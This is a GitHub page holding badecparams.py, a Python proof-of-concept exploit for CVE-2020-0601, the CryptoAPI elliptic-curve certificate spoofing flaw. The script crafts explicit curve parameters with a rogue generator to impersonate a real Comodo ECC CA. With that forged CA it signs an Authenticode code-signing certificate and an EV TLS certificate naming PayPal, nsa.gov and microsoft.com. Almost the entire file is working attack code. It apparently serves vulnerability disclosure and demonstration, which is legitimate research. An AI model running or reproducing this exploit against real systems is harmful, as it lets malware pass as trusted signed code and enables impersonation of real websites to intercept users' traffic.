-
Notifications
You must be signed in to change notification settings - Fork 13
/
Copy pathbadecparams.py
executable file
·365 lines (304 loc) · 11.6 KB
/
badecparams.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
#!/usr/bin/env python3
import datetime
import hashlib
import os
import subprocess
import sys
from typing import BinaryIO, Iterable, Optional, Sequence, Tuple
import ecdsa.curves
import ecdsa.ellipticcurve
import ecdsa.numbertheory
import ecdsa.util
from asn1crypto import core, keys, pem, x509
OPENSSL = "openssl"
def load_certificate_chain(filename: str) -> Iterable[x509.Certificate]:
with open(
os.path.join(os.path.dirname(os.path.abspath(__file__)), filename), "rb"
) as f:
pem_bytes = f.read()
for object_type, _, der_bytes in pem.unarmor(pem_bytes, multiple=True):
if object_type != "CERTIFICATE":
continue
yield x509.Certificate.load(der_bytes)
def generate_ec_private_key(name: str) -> keys.ECPrivateKey:
der_bytes = subprocess.check_output(
(
OPENSSL,
"ecparam",
"-name",
name,
"-param_enc",
"explicit",
"-genkey",
"-noout",
"-outform",
"DER",
)
)
return keys.ECPrivateKey.load(der_bytes)
def get_exploit_generator(
k: int, Qx: int, Qy: int, curve: ecdsa.curves.Curve
) -> Tuple[int, int]:
k_inverse = ecdsa.numbertheory.inverse_mod(k, curve.order)
Q = ecdsa.ellipticcurve.Point(curve.curve, Qx, Qy, curve.order)
G = Q * k_inverse
return (G.x(), G.y())
def curve_from_ec_parameters(parameters: keys.SpecifiedECDomain) -> ecdsa.curves.Curve:
p = parameters["field_id"]["parameters"].native
a = parameters["curve"]["a"].cast(core.IntegerOctetString).native
b = parameters["curve"]["b"].cast(core.IntegerOctetString).native
Gx, Gy = parameters["base"].to_coords()
order = parameters["order"].native
curve_fp = ecdsa.ellipticcurve.CurveFp(p, a, b)
G = ecdsa.ellipticcurve.Point(curve_fp, Gx, Gy, order)
return ecdsa.curves.Curve(None, curve_fp, G, (0, 0))
def digest_certificate(certificate: x509.Certificate) -> bytes:
der_bytes = certificate["tbs_certificate"].dump()
return hashlib.new(certificate.hash_algo, der_bytes).digest()
def sign_certificate(
signing_key: ecdsa.keys.SigningKey, certificate: x509.Certificate
) -> None:
digest = digest_certificate(certificate)
signature_bytes = signing_key.sign_digest(
digest, sigencode=ecdsa.util.sigencode_der
)
certificate["signature_value"] = signature_bytes
def exploit_certificate(
certificate: x509.Certificate,
) -> Tuple[ecdsa.keys.SigningKey, keys.ECPrivateKey]:
curve_name = certificate.public_key["algorithm"]["parameters"].chosen.native
ec_private_key = generate_ec_private_key(curve_name)
k = ec_private_key["private_key"].native
parameters = ec_private_key["parameters"].chosen
nist_curve = curve_from_ec_parameters(parameters)
Qx, Qy = certificate.public_key["public_key"].to_coords()
Gx, Gy = get_exploit_generator(k, Qx, Qy, nist_curve)
parameters["base"] = keys.ECPoint.from_coords(Gx, Gy)
ec_private_key["parameters"] = parameters
ec_private_key["public_key"] = certificate.public_key["public_key"]
certificate.public_key["algorithm"]["parameters"] = parameters
exploit_curve = curve_from_ec_parameters(parameters)
signing_key = ecdsa.keys.SigningKey.from_secret_exponent(k, curve=exploit_curve)
signed_digest_algorithm = x509.SignedDigestAlgorithm({"algorithm": "sha256_ecdsa"})
certificate["tbs_certificate"]["signature"] = signed_digest_algorithm
certificate["signature_algorithm"] = signed_digest_algorithm
sign_certificate(signing_key, certificate)
return (signing_key, ec_private_key)
def write_pem(f: BinaryIO, value: core.Asn1Value, object_type: str) -> None:
print("Writing {} to {!r}".format(object_type, f.name), file=sys.stderr)
der_bytes = value.dump()
pem_bytes = pem.armor(object_type, der_bytes)
f.write(pem_bytes)
def generate_private_key(
algorithm: str, **kwargs: object,
) -> Tuple[keys.PrivateKeyInfo, keys.PublicKeyInfo]:
genpkey_args = [OPENSSL, "genpkey", "-algorithm", algorithm, "-outform", "DER"]
for opt, value in kwargs.items():
genpkey_args.extend(("-pkeyopt", "{}:{}".format(opt, value)))
private_key_bytes = subprocess.check_output(genpkey_args)
private_key = keys.PrivateKeyInfo.load(private_key_bytes)
public_key_bytes = subprocess.check_output(
(OPENSSL, "pkey", "-pubout", "-inform", "DER", "-outform", "DER"),
input=private_key_bytes,
)
public_key = keys.PublicKeyInfo.load(public_key_bytes)
return private_key, public_key
def random_serial_number() -> int:
return int.from_bytes(os.urandom(20), "big") >> 1
def write_tls_certificate(
ca_cert: x509.Certificate,
ca_cert_orig: x509.Certificate,
signing_key: ecdsa.keys.SigningKey,
name: str,
subject: x509.Name,
subject_alt_names: Sequence[str],
) -> None:
private_key, public_key = generate_private_key("RSA", rsa_keygen_bits=4096)
signed_digest_algorithm = x509.SignedDigestAlgorithm({"algorithm": "sha256_ecdsa"})
certificate = x509.Certificate(
{
"tbs_certificate": {
"version": "v3",
"serial_number": random_serial_number(),
"signature": signed_digest_algorithm,
"issuer": ca_cert_orig.subject,
"validity": {
"not_before": x509.UTCTime(
datetime.datetime(2018, 1, 1, tzinfo=datetime.timezone.utc)
),
"not_after": x509.UTCTime(
datetime.datetime(2021, 1, 1, tzinfo=datetime.timezone.utc)
),
},
"subject": subject,
"subject_public_key_info": public_key,
"extensions": [
{
"extn_id": "basic_constraints",
"critical": True,
"extn_value": {"ca": False},
},
{
"extn_id": "subject_alt_name",
"critical": False,
"extn_value": [
x509.GeneralName({"dns_name": dns_name})
for dns_name in subject_alt_names
],
},
{
"extn_id": "certificate_policies",
"critical": False,
"extn_value": [
{"policy_identifier": "1.3.6.1.4.1.6449.1.2.1.5.1"},
],
},
],
},
"signature_algorithm": signed_digest_algorithm,
}
)
sign_certificate(signing_key, certificate)
with open(name + ".crt", "wb") as f:
write_pem(f, certificate, "CERTIFICATE")
write_pem(f, ca_cert_orig, "CERTIFICATE")
write_pem(f, ca_cert, "CERTIFICATE")
with open(name + ".key", "wb") as f:
write_pem(f, private_key, "RSA PRIVATE KEY")
write_pem(f, certificate, "CERTIFICATE")
write_pem(f, ca_cert_orig, "CERTIFICATE")
write_pem(f, ca_cert, "CERTIFICATE")
def write_authenticode_certificate(
ca_cert: x509.Certificate,
ca_cert_orig: x509.Certificate,
signing_key: ecdsa.keys.SigningKey,
name: str,
subject: x509.Name,
) -> None:
private_key, public_key = generate_private_key("RSA", rsa_keygen_bits=4096)
signed_digest_algorithm = x509.SignedDigestAlgorithm({"algorithm": "sha256_ecdsa"})
certificate = x509.Certificate(
{
"tbs_certificate": {
"version": "v3",
"serial_number": random_serial_number(),
"signature": signed_digest_algorithm,
"issuer": ca_cert.subject,
"validity": {
"not_before": x509.UTCTime(
datetime.datetime(2018, 1, 1, tzinfo=datetime.timezone.utc)
),
"not_after": x509.UTCTime(
datetime.datetime(2021, 1, 1, tzinfo=datetime.timezone.utc)
),
},
"subject": subject,
"subject_public_key_info": public_key,
"extensions": [
{
"extn_id": "basic_constraints",
"critical": True,
"extn_value": {"ca": False},
},
{
"extn_id": "key_usage",
"critical": True,
"extn_value": {"digital_signature"},
},
{
"extn_id": "extended_key_usage",
"critical": True,
"extn_value": [
"code_signing",
"1.3.6.1.4.1.311.2.1.21",
"1.3.6.1.4.1.311.2.1.22",
],
},
],
},
"signature_algorithm": signed_digest_algorithm,
}
)
sign_certificate(signing_key, certificate)
with open(name + ".crt", "wb") as f:
write_pem(f, certificate, "CERTIFICATE")
write_pem(f, ca_cert_orig, "CERTIFICATE")
write_pem(f, ca_cert, "CERTIFICATE")
with open(name + ".key", "wb") as f:
write_pem(f, private_key, "RSA PRIVATE KEY")
subprocess.check_call(
(
"openssl",
"crl2pkcs7",
"-nocrl",
"-certfile",
name + ".crt",
"-outform",
"DER",
"-out",
name + ".spc",
)
)
subprocess.check_call(
(
"openssl",
"rsa",
"-in",
name + ".key",
"-outform",
"PVK",
"-pvk-none",
"-out",
name + ".pvk",
)
)
def get_name(purpose: Optional[str] = None) -> str:
components = ["BADECPARAMS CVE-2020-0601", "(Saleem Rashid @saleemrash1d)"]
if purpose:
components.insert(1, purpose)
return " ".join(components)
def main() -> None:
_, ca_cert, _ = load_certificate_chain(
"comodoecccertificationauthority-ev-comodoca-com-chain.pem"
)
ca_cert_orig = ca_cert.copy()
signing_key, ec_private_key = exploit_certificate(ca_cert)
with open("intermediateCA.crt", "wb") as f:
write_pem(f, ca_cert_orig, "CERTIFICATE")
write_pem(f, ca_cert, "CERTIFICATE")
with open("intermediateCA.key", "wb") as f:
write_pem(f, ec_private_key, "EC PRIVATE KEY")
write_authenticode_certificate(
ca_cert,
ca_cert_orig,
signing_key,
"authenticode",
x509.Name.build(
{
"country_name": "GB",
"common_name": get_name("Code Signing Authority"),
"organization_name": get_name(),
"organizational_unit_name": get_name("Code Signing Authority"),
}
),
)
write_tls_certificate(
ca_cert,
ca_cert_orig,
signing_key,
"localhost",
x509.Name.build(
{
"incorporation_country": "US",
"business_category": "Private Organization",
"serial_number": "1",
"country_name": "US",
"common_name": get_name("EV Certificate"),
"organization_name": "PayPal, Inc.",
"organizational_unit_name": get_name("EV Certificate"),
}
),
("localhost", "nsa.gov", "www.nsa.gov", "microsoft.com", "www.microsoft.com"),
)
if __name__ == "__main__":
main()